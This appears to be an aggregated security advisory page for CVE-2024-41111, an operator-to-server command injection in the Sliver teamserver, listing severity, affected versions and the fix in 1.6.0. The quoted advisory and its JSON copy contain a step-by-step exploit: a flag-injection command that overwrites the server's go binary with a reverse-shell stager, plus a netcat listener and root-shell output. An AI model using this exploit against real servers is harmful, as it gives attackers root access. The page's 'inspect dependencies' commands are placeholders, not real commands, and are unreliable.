CVE-2024-41111: Github.com/bishopfox/sliver Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-hc5w-gxxr-w8x8
CVSS 8.8
CWE-78 CWE-74
Published
Advisory Summary

CVE-2024-41111 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Github.com/bishopfox/sliver libraries in the Go ecosystem. The issue involves sliver allows authenticated operator-to-server remote code execution. Remediation is available by upgrading affected packages to version 1.6.0.

CVE-2024-41111 at a Glance

CVE Identifier CVE-2024-41111
GHSA Identifier GHSA-hc5w-gxxr-w8x8
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Github.com/bishopfox/sliver
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-41111

To remediate this vulnerability, upgrade all affected Github.com/bishopfox/sliver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/bishopfox/sliver fixed: 1.6.0
Upgrade github.com/bishopfox/sliver to 1.6.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/bishopfox/sliver

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-41111, inspect your project dependencies for Github.com/bishopfox/sliver:

inspect dependencies for github.com/bishopfox/sliver

Analyze the terminal output to locate any version of Github.com/bishopfox/sliver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Github.com/bishopfox/sliver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user. ## Impact As described in a [past issue](https://github.com/BishopFox/sliver/issues/65), "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server. ## Reproduction First configure the Sliver server [in multiplayer mode and add an operator profile](https://sliver.sh/docs?name=Multi-player+Mode). Next, compile a slightly older version of the Sliver client. The commit after 5016fb8d updates the Cobra command-line parsing library in the Sliver client to strictly validate command flags. ``` git checkout 5016fb8d VERSION=1.6.0 make client ``` The latest server version is targeted: ``` All hackers gain exalted [*] Server v1.6.0 - bdfd89167dd47aece2397c638d482f94f3f91cba [*] Client 1.6.0 - 5016fb8d7cdff38c79e22e8293e58300f8d3bd57 [*] Welcome to the sliver shell, please type 'help' for options` ``` The exploit uses a command injection in the `generate msf-stager` to inject the `--out` flag to `msfvenom`. We overwrite Sliver's own go binary at `/root/.sliver/go/bin/go`: ``` sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/go [*] Sliver implant stager saved to: [...] ``` The other injected flags are to force a Linux payload, and not necessary if running the Sliver server on Windows. If you check the saved implant locally on the client, it's 0 bytes as the output got written to the file on the server instead. On the attacking machine, setup a netcat shell: ``` $ nc -lvp 8888 Listening on 0.0.0.0 8888 ``` Trigger the stager by running a command which executes `/root/.sliver/go/bin/go`: ``` sliver > generate beacon --mtls 1.2.3.4 [*] Generating new windows/amd64 beacon implant binary (1m0s) [*] Symbol obfuscation is enabled ⠼ Compiling, please wait ... ``` A root shell will pop: ``` $ nc -lvp 8888 Listening on 0.0.0.0 8888 Connection received on 192.168.0.183 39238 whoami root ``` The vulnerable code was introduced in https://github.com/BishopFox/sliver/pull/1281

CVE-2024-41111 Affected Github.com/bishopfox/sliver Versions

1 component(s)
Fixed Versions:
1.6.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/bishopfox/sliver
Go
≥ 1.5.40
< 1.6.0
1.6.0

References

Frequently Asked Questions

What is CVE-2024-41111?
CVE-2024-41111 is a security vulnerability in Github.com/bishopfox/sliver involving Sliver Allows Authenticated Operator-to-Server Remote Code Execution under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Github.com/bishopfox/sliver versions are affected?
Affected versions include releases prior to 1.6.0 across affected packages: github.com/bishopfox/sliver.
What version fixes CVE-2024-41111?
Upgrading to 1.6.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/bishopfox/sliver affected?
Yes, github.com/bishopfox/sliver is affected in releases prior to 1.6.0. Upgrade your dependency to 1.6.0 or later.
What is the CVSS score of CVE-2024-41111?
CVE-2024-41111 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2024-41111?
CVE-2024-41111 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2024-41111?
Run the dependency tree command: 'inspect dependencies for github.com/bishopfox/sliver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hc5w-gxxr-w8x8",
  "modified" : "2024-08-02T23:10:53Z",
  "published" : "2024-07-18T20:23:24Z",
  "aliases" : [ "CVE-2024-41111" ],
  "summary" : "Sliver Allows Authenticated Operator-to-Server Remote Code Execution",
  "details" : "## Description\n\nSliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged \"operator\" user. The RCE is as the system root user.\n\n## Impact\nAs described in a [past issue](https://github.com/BishopFox/sliver/issues/65), \"there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server.\" An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server.\n\n## Reproduction\n\nFirst configure the Sliver server [in multiplayer mode and add an operator profile](https://sliver.sh/docs?name=Multi-player+Mode).\n\nNext, compile a slightly older version of the Sliver client. The commit after 5016fb8d updates the Cobra command-line parsing library in the Sliver client to strictly validate command flags.\n\n```\ngit checkout 5016fb8d\nVERSION=1.6.0 make client\n```\n\nThe latest server version is targeted:\n\n```\nAll hackers gain exalted\n[*] Server v1.6.0 - bdfd89167dd47aece2397c638d482f94f3f91cba\n[*] Client 1.6.0 - 5016fb8d7cdff38c79e22e8293e58300f8d3bd57\n[*] Welcome to the sliver shell, please type 'help' for options`\n```\n\nThe exploit uses a command injection in the `generate msf-stager` to inject the `--out` flag to `msfvenom`. We overwrite Sliver's own go binary at `/root/.sliver/go/bin/go`:\n\n```\nsliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/go\n\n[*] Sliver implant stager saved to: [...]\n```\n\nThe other injected flags are to force a Linux payload, and not necessary if running the Sliver server on Windows.\n\nIf you check the saved implant locally on the client, it's 0 bytes as the output got written to the file on the server instead.\n\nOn the attacking machine, setup a netcat shell:\n\n```\n$ nc -lvp 8888\nListening on 0.0.0.0 8888\n```\n\nTrigger the stager by running a command which executes `/root/.sliver/go/bin/go`:\n\n```\nsliver > generate beacon --mtls 1.2.3.4\n[*] Generating new windows/amd64 beacon implant binary (1m0s)\n[*] Symbol obfuscation is enabled\n ⠼  Compiling, please wait ...\n```\n\nA root shell will pop:\n\n```\n$ nc -lvp 8888\nListening on 0.0.0.0 8888\nConnection received on 192.168.0.183 39238\nwhoami\nroot\n```\n\nThe vulnerable code was introduced in https://github.com/BishopFox/sliver/pull/1281\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/bishopfox/sliver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.5.40"
      }, {
        "fixed" : "1.6.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.0-dev"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/BishopFox/sliver/security/advisories/GHSA-hc5w-gxxr-w8x8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-41111"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/BishopFox/sliver/issues/65"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/BishopFox/sliver/pull/1281"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/BishopFox/sliver/commit/0deaee625d14c6f05f63c86e5c3b7ae623a1138f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/BishopFox/sliver/commit/5016fb8d7cdff38c79e22e8293e58300f8d3bd57"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/BishopFox/sliver/commit/d8ff64222dc69d931197d0bbae3fba11dbe17533"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/BishopFox/sliver"
  }, {
    "type" : "WEB",
    "url" : "https://sliver.sh/docs?name=Multi-player+Mode"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74", "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-07-18T20:23:24Z",
    "nvd_published_at" : "2024-07-18T23:15:02Z"
  }
}